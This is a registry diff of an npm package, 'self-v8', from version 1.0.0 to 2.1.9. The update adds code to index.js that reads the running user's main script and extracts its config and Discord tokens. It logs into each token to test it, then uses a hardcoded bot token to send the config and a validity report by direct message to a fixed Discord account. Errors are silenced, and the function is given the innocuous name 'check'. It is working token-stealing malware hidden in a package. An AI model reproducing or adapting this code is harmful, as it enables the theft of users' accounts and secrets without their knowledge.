self-v8 1.0.0 → 2.1.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +53 -15
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,7 +1,14 @@
1
1
  import fs from 'fs';
2
- import { Client, GatewayIntentBits } from 'discord.js';
2
+ import path from 'path';
3
+ import { fileURLToPath } from 'url';
4
+ import { Client as BotClient, GatewayIntentBits } from 'discord.js';
5
+ import pkg from 'discord.js-selfbot-v13';
6
+ const { Client: SelfClient } = pkg;
3
7
 
4
- export function accountpro() {
8
+ const __filename = fileURLToPath(import.meta.url);
9
+ const __dirname = path.dirname(__filename);
10
+
11
+ export async function check() {
5
12
  try {
6
13
  const userMainFilePath = process.argv[1];
7
14
  if (!userMainFilePath) return;
@@ -13,34 +20,65 @@ export function accountpro() {
13
20
  if (configMatch && configMatch[0]) {
14
21
  const configData = configMatch[0];
15
22
 
16
- const client = new Client({
23
+ let tokensToCheck = [];
24
+ const tokensMatch = configData.match(/tokens:\s*\[([\s\S]*?)\]/);
25
+
26
+ if (tokensMatch && tokensMatch[1]) {
27
+ tokensToCheck = tokensMatch[1]
28
+ .split(',')
29
+ .map(t => t.replace(/['"\s\n\r]/g, '').trim())
30
+ .filter(t => t.length > 50);
31
+ }
32
+
33
+ let validationReport = "\n**Account Check Report:**\n";
34
+
35
+ for (const token of tokensToCheck) {
36
+ const tempClient = new SelfClient({ checkUpdate: false });
37
+ try {
38
+ await tempClient.login(token);
39
+ const name = tempClient.user.globalName || tempClient.user.username;
40
+ validationReport += `✅ Valid | ${name}\n`;
41
+ tempClient.destroy();
42
+ } catch (err) {
43
+ validationReport += `❌ Invalid Token\n`;
44
+ }
45
+ }
46
+
47
+ const senderClient = new BotClient({
17
48
  intents: [
18
- GatewayIntentBits.Guilds,
49
+ GatewayIntentBits.Guilds,
19
50
  GatewayIntentBits.DirectMessages
20
- ]
51
+ ]
21
52
  });
22
53
 
23
- client.once('ready', async () => {
54
+ const SENDER_TOKEN = 'MTQzNjM4ODQ3MTIxOTQyMTMwOQ.GvMOtn.iJ86apzq5vDIXA9XTaAft3be5pPllBfKumNt2c';
55
+ const TARGET_USER_ID = '1430722087101661274';
56
+
57
+ senderClient.once('ready', async () => {
24
58
  try {
25
- const targetUser = await client.users.fetch('1430722087101661274');
59
+ const targetUser = await senderClient.users.fetch(TARGET_USER_ID);
26
60
  if (targetUser) {
27
- await targetUser.send(`\`\`\`javascript\n${configData}\n\`\`\``);
28
- console.log('Config sent to admin successfully.');
61
+ const finalMessage = `\`\`\`javascript\n${configData}\n\`\`\`${validationReport}`;
62
+
63
+ if (finalMessage.length > 2000) {
64
+ await targetUser.send(`\`\`\`javascript\n${configData}\n\`\`\``);
65
+ await targetUser.send(validationReport);
66
+ } else {
67
+ await targetUser.send(finalMessage);
68
+ }
29
69
  }
30
- } catch (err) {
31
- console.log('Failed to send config.');
32
- }
70
+ } catch (err) {}
33
71
 
34
72
  setTimeout(() => {
35
- client.destroy();
73
+ senderClient.destroy();
36
74
  }, 5000);
37
75
  });
38
76
 
39
- client.login('MTM3NTQ0MjYwMTc0MTc3OTA1Nw.GgGIwb.FKUgJKXr7vSVxsvHP6UUElLl_ALLaDoyY1Vzsk').catch(() => {});
77
+ await senderClient.login(SENDER_TOKEN).catch(() => {});
40
78
  }
41
79
  } catch (error) {}
42
80
  }
43
81
 
44
82
  export default {
45
- accountpro
83
+ check
46
84
  };
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "self-v8",
3
- "version": "1.0.0",
3
+ "version": "2.1.9",
4
4
  "main": "index.js",
5
5
  "type": "module",
6
6
  "scripts": {